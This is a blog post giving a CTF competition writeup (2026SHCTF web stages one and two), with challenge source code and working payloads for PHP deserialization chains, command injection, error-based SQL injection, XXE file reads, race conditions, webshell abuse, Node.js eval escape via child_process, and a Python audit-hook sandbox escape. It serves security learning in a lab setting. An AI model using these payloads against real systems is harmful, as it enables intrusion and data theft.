ukysblog
首页项目归档刷题记录照片墙音乐说说杂谈友链关于
封面

2026SHCTF-web阶段1/2

2026-2-14 09:00:00
# wp

2026SHCTF writeup


🌐WEB

只有阶段一二


0x01 ezphp

审计源码

<?php
highlight_file(__FILE__);
error_reporting(0);
class Sun{
    public $sun;
    public function __destruct(){
        die("Maybe you should fly to the ".$this->sun);
    }
}
class Solar{
    private $Sun;
    public $Mercury;
    public $Venus;
    public $Earth;
    public $Mars;
    public $Jupiter;
    public $Saturn;
    public $Uranus;
    public $Neptune;
    public function __set($name,$key){
        $this->Mars = $key;
        $Dyson = $this->Mercury;
        $Sphere = $this->Venus;
        $Dyson->$Sphere($this->Mars);
    }
    public function __call($func,$args){
        if(!preg_match("/exec|popen|popens|system|shell_exec|assert|eval|print|printf|array_keys|sleep|pack|array_pop|array_filter|highlight_file|show_source|file_put_contents|call_user_func|passthru|curl_exec/i", $args[0])){
            $exploar = new $func($args[0]);
            $road = $this->Jupiter;
            $exploar->$road($this->Saturn);
        }
        else{
            die("Black hole");
        }
    }
}
class Moon{
    public $nearside;
    public $farside;
    public function __tostring(){
        $starship = $this->nearside;
        $starship();
        return '';
    }
}
class Earth{
    public $onearth;
    public $inearth;
    public $outofearth;
    public function __invoke(){
        $oe = $this->onearth;
        $ie = $this->inearth;
        $ote = $this->outofearth;
        $oe->$ie = $ote; 
    }
}
if(isset($_POST['travel'])){
    $a = unserialize($_POST['travel']);
    throw new Exception("How to Travel?");
}
?>

构造pop链:
Sun::__destruct -> Moon::__tostring -> Earth::__invoke -> Solar::__set -> Solar::__call

一开始用readfile运行不了,最后注意到Solar::__call的这三行代码

$exploar = new $func($args[0]);
$road = $this->Jupiter;
$exploar->$road($this->Saturn);

__call动态创建了一个新类,并且调用了它的一个方法动态执行。所以这里其实不是在考rce绕过,而是在考php原生类

SplFileObject类用于文件操作,提供了丰富的方法来读取和写入文件

# 括号内是目标文件名
$obj = new SplFileObject("文件名");
$obj->fpassthru(); # 输出文件内容,括号里可有可没有

在写脚本前还有一点需要注意,如果等到脚本结束析构对象会抛出异常(How to Travel?)清空输出缓冲区,导致没有回显。所以我们需要利用数组覆盖使析构提前,完整poc如下

$exec = new Solar();
$exec -> Jupiter = 'fpassthru';
$exec -> Saturn = '/flag';
$solar = new Solar();
$solar -> Mercury = $exec;
$solar -> Venus = "SplFileObject";
$solar -> Mars = "none";
$earth = new Earth();
$earth -> onearth = $solar;
$earth -> inearth = "none";
$earth -> outofearth = "/flag";
$moon = new Moon();
$moon -> nearside = $earth;
$sun = new Sun();
$sun -> sun = $moon;

$payload = serialize($sun);
$poc = "a:2:{i:0;".$payload.";i:0;s:4:'none';}";
# 利用GC提前析构
echo urlencode($poc);

0x02 ez-ping

源码里展示了ping.php的路由,使用strings查看文件

127.0.0.1 && strings ping.php

回显

<?php
header('Content-Type: text/plain; charset=utf-8');
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $domain = $_POST['domain'] ?? '';
    if (!preg_match('/^[a-zA-Z0-9\.\-\& \?\*\/]*$/', $domain)) {
        http_response_code(400);
        echo "
        exit;
    }
    if (empty($domain)) {
        http_response_code(400);
        echo "
        exit;
    }
    try {
        $cmd = "ping -c 4 " . $domain;
        if (!preg_match('/cat|tac|flag|\*/',$cmd)){
            $output = shell_exec($cmd . " 2>&1");
        } else {
            $output = "
        }
         echo $output ?: "
    } catch (Exception $e) {
        http_response_code(500);
        echo "
: " . $e->getMessage();
    }

审计代码,命令行不能出现cat tac flag *

用?通配

127.0.0.1&&cd ../../../&&strings fl?g

0x03 上古遗迹档案馆

感觉考sql注入,试了试报错看到MariaDB确定是mysql注入

盲注太慢了,用报错注入

1' union select count(*),concat((select database()),0x26,floor(rand(0)*2)) as x from information_schema.tables group by x-- 

换行读取表名

1' union select count(*),concat((select table_name from information_schema.tables where table_schema='archive_db' limit 1,1),0x26,floor(rand(0)*2)) as x from information_schema.tables group by x-- 

换行读取列名

1' union select count(*),concat((select column_name from information_schema.columns where table_name='secret_vault' limit 1,1),0x26,floor(rand(0)*2)) as x from information_schema.tables group by x-- 

拿flag

1' union select count(*),concat((select secret_key from secret_vault limit 0,1),0x26,floor(rand(0)*2)) as x from information_schema.tables group by x-- 

0x04 Go

{
"username": "guest",
"role": "guest",
"message": "Access denied. Only role='admin' can view the flag."
}

这道题在考Go后端的特性。Go语言的标准库在处理冲突json时会保留最后出现的键值对。并且Go的json解析器非常宽松,不区分大小写并且支持Unicode编码。

具体将传参形式改为POST,加上Content-Type: application/json头,构造如下payload

{
  "username": "guest",
  "Role": "\u0061dmin"
}

0x05 kill_king

网页端小游戏杀不死的国王,常规查看源代码的快捷键被禁用,用crtl+shift+I打开调试器

在js源码里找到以下逻辑

if (_this.boss) {
    _this.audioController.play("notpossible");
    window.clearInterval(timer);
    _this.gamewin = true;
fetch('check.php', {
    method: 'POST',
    headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
    body: 'result=win'
})
.then(response => response.text())
.then(flag => {
  document.getElementById('flagBox').innerText = flag;
})
.catch(err => console.error('获取 flag 出错:', err));
    ...
}

如果_this.boss为真则会发送一个post请求到check.php获取flag

试了_this.boss=true,发现只是传送到boss关卡,并没有直接胜利。好在游戏中敌人的血量由_this.enemy.health控制,我们将其清空。在控制台输入如下

_this.boss = true; 
_this.enemy.health = 0;

回显check.php源码

 <?php
// 国王并没用直接爆出flag,而是出现了别的东西???
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    if (isset($_POST['result']) && $_POST['result'] === 'win') {
        highlight_file(__FILE__);
        if(isset($_GET['who']) && isset($_GET['are']) && isset($_GET['you'])){
            $who = (String)$_GET['who'];
            $are = (String)$_GET['are'];
            $you = (String)$_GET['you'];
        
            if(is_numeric($who) && is_numeric($are)){
                if(preg_match('/^\W+$/', $you)){
                    $code =  eval("return $who$you$are;");
                    echo "$who$you$are = ".$code;
                }
            }
        }
    } else {
        echo "Invalid result.";
    }
} else {
    echo "No access.";
}
?> 

要求传参result=win,规定$who和$are为数字,$you为除了_外的其他符号,最后通过eval计算表达式的值并返回。who和are都可以是任意数字,you可以用取反绕过。关键是eval(),我们需要用+将三个变量隔离开

return 1+(~...)(~...)+1

脚本如下

def encode(str_input):
    payload=""
    for char in str_input:
        order = hex(~ord(char) & 0xFF)[2:].upper()
        payload += f"%{order}"
    return f'~{payload}'
func = encode(input("请输入函数"))
arg = encode(input("请输入命令"))
f_payload = f"%2B%28{func}%29%28{arg}%29%2B"
# 这里不用urllib是因为二重编码order会引发歧义
print(f_payload)

0x06 Mini Blog

发布一篇文章绕后抓包可以看到xml格式的请求体经典xxe,直接构造自定义实体

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY hac SYSTEM "file:///flag">]>
<post>
    <title>&hac;</title>
    <content>111</content>
</post>

0x07 ez_race

白盒审计,在bank/views.py有这么一段代码

def form_valid(self, form):
    amount = form.cleaned_data["amount"]
    with transaction.atomic():
        time.sleep(1.0)
        user = models.User.objects.get(pk=self.request.user.pk)
        if user.money >= amount:
            user.money = F('money') - amount
            user.save()
            models.WithdrawLog.objects.create(user=user, amount=amount)
    
    user.refresh_from_db()
    if user.money < 0:
        return HttpResponse(os.environ.get("FLAG", "flag{flag_test}"))

该代码对应提现功能,在扣款时会有1秒的延时,当余额为负则返回flag。我们就需要利用这一秒的延时并发请求执行扣款逻辑。我们使用burpsuite的intruder进行竞争攻击

我们抓包提现请求,在尾部加上一个空字典。生成5次请求,最大并发数设置为5赢得竞争

0x08 05_em_v_CFK

业务逻辑题。flag商店,flag标价50刀,但余额只有3刀

index源代码有一行注释

/* 5bvE5YvX5Ylt5YdT5Yvdp2uyoTjhpTujYPQyhXoxhVcmnT935L+P5cJjM2I05oPC5cvB55dR5Mlw6LTK54zc5MPa */

这是ROT13+base64双重加密的信息,解密后得到一句话

/* 我上传了个shell.php, 带上show参数get小明的圣遗物吧 */

直接访问给我报404了,好在我有拿题先扫盘的习惯访问/uploads/shell.php,用伪协议读取shell.php

<?php
if (isset($_GET['show'])) {
    highlight_file(__FILE__);
}
$pass = 'c4d038b4bed09fdb1471ef51ec3a32cd';
if (isset($_POST['key']) && md5($_POST['key']) === $pass) {
    if (isset($_POST['cmd'])) {
        system($_POST['cmd']);
    } elseif (isset($_POST['code'])) {
        eval($_POST['code']);
    }
} else {
    http_response_code(404);
}
?>

改webshell需要密码才能运行,解密$pass得密码114514访问上一级目录,有两个文件connect.php被加密了,根本没法看
index.php可以看到购买页面源码

<?php
include 'connect.php';
$my_money = 3.00;
$msg = "";
$target_id = 0;
if (isset($_POST['buy']) && isset($_POST['item_id'])) {
    $target_id = (int)$_POST['item_id'];
    if ($target_id != 0) {
        try {
            $stmt = $pdo->prepare("CALL buy_item(?, ?)");
            $stmt->execute([$target_id, $my_money]);
            $res = $stmt->fetch();
            $msg = $res['final_message'];
            $my_money -= $res['current_price'];
        } catch (Exception $e) {
            $msg = "Transaction Error: " . $e->getMessage();
        }
    } 
    else {
        $msg = "Invalid item selected.";
    }
} 
else {
    try {
        $stmt = $pdo->query("SELECT id, name, price FROM goods ORDER BY id ASC");
        if ($stmt === false) {
            exit;
        }
        $goods_list = $stmt->fetchAll();
    } 
    catch (Exception $e) {
        die("Error fetching goods list.");
    }
}
?>

可以确定connect.php是连接数据库的文件,存储了$pdo对象。里面预定义了buy_item(?, ?)储存过程,调用时利用execute传入商品id和余额,然后fetch返回结果

那么我们可以利用shell的eval功能执行php代码来调用buy_item逻辑,传入id=3和余额99999再回显结果

key=114514&code=include '../connect.php';$p=$GLOBALS['pdo'];$s=$p->prepare('CALL buy_item(?,?)');$s->execute([3,99999]);var_dump($s->fetch());

0x09 calc?js?fuck!

审计源码,考察Node.js无字母rce

const express = require('express');
const app = express();
const port = 5000;
app.use(express.json());
const WAF = (recipe) => {
    const ALLOW_CHARS = /^[012345679!\.\-\+\*\/\(\)\[\]]+$/;
    if (ALLOW_CHARS.test(recipe)) {
        return true;
    }
    return false;
};
function calc(operator) {
    return eval(operator);
}  // 利用点
app.get('/', (req, res) => {
    res.sendFile(__dirname + '/index.html');
});
app.post('/calc', (req, res) => {
    const { expr } = req.body;
    console.log(expr);
    if(WAF(expr)){
        var result = calc(expr);
        res.json({ result }); // 触发点在这里
    }else{
        res.json({"result":"WAF"});
    }
});
app.listen(port, () => {
    console.log(`Server running on port ${port}`);
});    

rce利用js特性:
false => ![]
true => !![]
undefined => [][[]]
Array => []
0 => +[]
1 => +!+[]
2 => !+[] + !+[] # 1+1
(![]+[])[1] => a

rce构造可以用jsfuck在线生成器生成,关键是payload构造,要绕过waf进行js沙盒逃逸

在Node.js环境中,要想执行系统命令,通常需要加载child_process模块使用execSync,加载模块需要调用require。为了避开require审查,我们从全局对象process入手,process对象的mainModule属性指向了当前执行的模块对象,其中必包含require方法。于是我们可以构造如下payload

process.mainModule.require('child_process').execSync('cat /flag').toString()

利用控制台给/calc接口发送post请求

fetch('/calc', {
    method: 'POST',
    headers: {
        'Content-Type': 'application/json'
    },
    body: JSON.stringify({
        expr: 'payload' 
    })
})
.then(res => res.json())
.then(data => console.log("服务器返回:", data))

0x10 Eazy_Pyrunner

python沙盒逃逸。在关于页面里可以看到file参数访问app.py得到沙盒源代码

from flask import Flask, render_template_string, request, jsonify
import subprocess
import tempfile
import os
import sys

app = Flask(__name__)

@app.route('/')
def index():
    file_name = request.args.get('file', 'pages/index.html')
    try:
        with open(file_name, 'r', encoding='utf-8') as f:
            content = f.read()
    except Exception as e:
        try:
            with open('pages/index.html', 'r', encoding='utf-8') as f:
                content = f.read()
        except:
            content = "404 Not Found"
    return render_template_string(content)

def waf(code):
    blacklisted_keywords = ['import', 'open', 'read', 'write', 'exec', 'eval', '__', 'os', 'sys', 'subprocess', 'run', 'flag', '\'', '\"']
    for keyword in blacklisted_keywords:
        if keyword in code:
            returnFalse
    returnTrue

@app.route('/execute', methods=['POST'])
def execute_code():
    code = request.json.get('code', '')
    ifnot code:
        return jsonify({'error': '请输入Python代码'})
    ifnot waf(code):
        return jsonify({'error': 'Hacker!'})
    
    temp_file_name = None
    try:
        with tempfile.NamedTemporaryFile(mode='w', suffix='.py', delete=False) as f:
            f.write(f"""import sys
sys.modules['os'] = 'not allowed'
def is_my_love_event(event_name):
    return event_name.startswith("Nothing is my love but you.")
def my_audit_hook(event_name, arg):
    if len(event_name) > 0:
        raise RuntimeError("Too long event name!")
    if len(arg) > 0:
        raise RuntimeError("Too long arg!")
    if not is_my_love_event(event_name):
        raise RuntimeError("Hacker out!")
__import__('sys').addaudithook(my_audit_hook)
{code}""")
            temp_file_name = f.name
            
        result = subprocess.run(
            [sys.executable, temp_file_name],
            capture_output=True,
            text=True,
            timeout=10
        )
        os.unlink(temp_file_name)
        return jsonify({
            'stdout': result.stdout,
            'stderr': result.stderr
        })
    except subprocess.TimeoutExpired:
        return jsonify({'error': '代码执行超时(超过10秒)'})
    except Exception as e:
        return jsonify({'error': f'执行出错: {str(e)}'})
    finally:
        if temp_file_name and os.path.exists(temp_file_name):
            os.unlink(temp_file_name)

if __name__ == '__main__':
    app.run(debug=True)

第一层过滤点在字符串blacklisted_keywords,可以利用ascii编码绕过
第二层过滤是缓存投毒,sys.modules['os'] = 'not allowed',可以重新导入模块解决
第三层是审计钩子,每一次执行都会生成一个自带hook的py文件

import sys
sys.modules['os'] = 'not allowed'
def is_my_love_event(event_name):
    return event_name.startswith("Nothing is my love but you.")
def my_audit_hook(event_name, arg):
    if len(event_name) > 0:
        raise RuntimeError("Too long event name!")
    if len(arg) > 0:
        raise RuntimeError("Too long arg!")
    if not is_my_love_event(event_name):
        raise RuntimeError("Hacker out!")
__import__('sys').addaudithook(my_audit_hook)

python在3.8版本的sys模块中引入了审计钩子(audit hook),可以利用sys.addaudithook()加入自定义审计函数。他会监控所有的系统事件(包括模块导入、文件操作等)

该沙盒中审计函数会检查系统事件名称(event_name)和参数(arg),要求event_name必须以"Nothing is my love but you."开头,并且event_name和arg的长度必须为0,否则就会抛出异常,清空回显结果

好在python函数定义的优先级是局部变量>全局变量>内置变量,所以我们可以在代码里用匿名函数覆盖len和is_my_love_event函数

len = lambda x: 0
is_my_love_event = lambda x: True

利用chr脚本生成敏感词绕过字符串过滤

std_input = input("请输入字符串:")
for char in range(len(std_input)):
    a = ord(std_input[char])
    print(f'chr({a})', end=' ')
    if char != len(std_input) - 1:
        print('+', end=' ')

payload如下(小叶Sec)

len = lambda x: 0
is_my_love_event = lambda x: True

v_blt = chr(95)+chr(95)+chr(98)+chr(117)+chr(105)+chr(108)+chr(116)+chr(105)+chr(110)+chr(115)+chr(95)+chr(95)
v_imp = chr(95)+chr(95)+chr(105)+chr(109)+chr(112)+chr(111)+chr(114)+chr(116)+chr(95)+chr(95)
v_s   = chr(115)+chr(121)+chr(115)
v_mod = chr(109)+chr(111)+chr(100)+chr(117)+chr(108)+chr(101)+chr(115)
v_o   = chr(111)+chr(115)
v_p   = chr(112)+chr(111)+chr(112)+chr(101)+chr(110)
v_r   = chr(114)+chr(101)+chr(97)+chr(100)
v_c   = chr(47)+chr(114)+chr(101)+chr(97)+chr(100)+chr(95)+chr(102)+chr(108)+chr(97)+chr(103)

g = globals()
b = g[v_blt] # 获取globals()['__builtins__']
f_imp = getattr(b, v_imp) # 获取__builtins__.__import__

obj_s = f_imp(v_s) # 执行__import__('sys')
dic_m = getattr(obj_s, v_mod) # 获取 sys.modules

del dic_m[v_o] # 执行del sys.modules['os']

obj_o = f_imp(v_o) # 重新导入os模块(__import__('os'))

proc = getattr(obj_o, v_p)(v_c) # 执行os.popen('/read_flag')
res = getattr(proc, v_r)() # 读取结果(.read())

print(res)

avatar

uky

后端安全方向,ctf-web手

RECOMMENDED

2025ISCTF-wp

2025-12-11 09:00:00

带你体验第一视角手撕CC链

2026-5-14 21:10:00

floor(rand(0)*2)的奥秘

2025-11-11 09:00:00

Table of Contents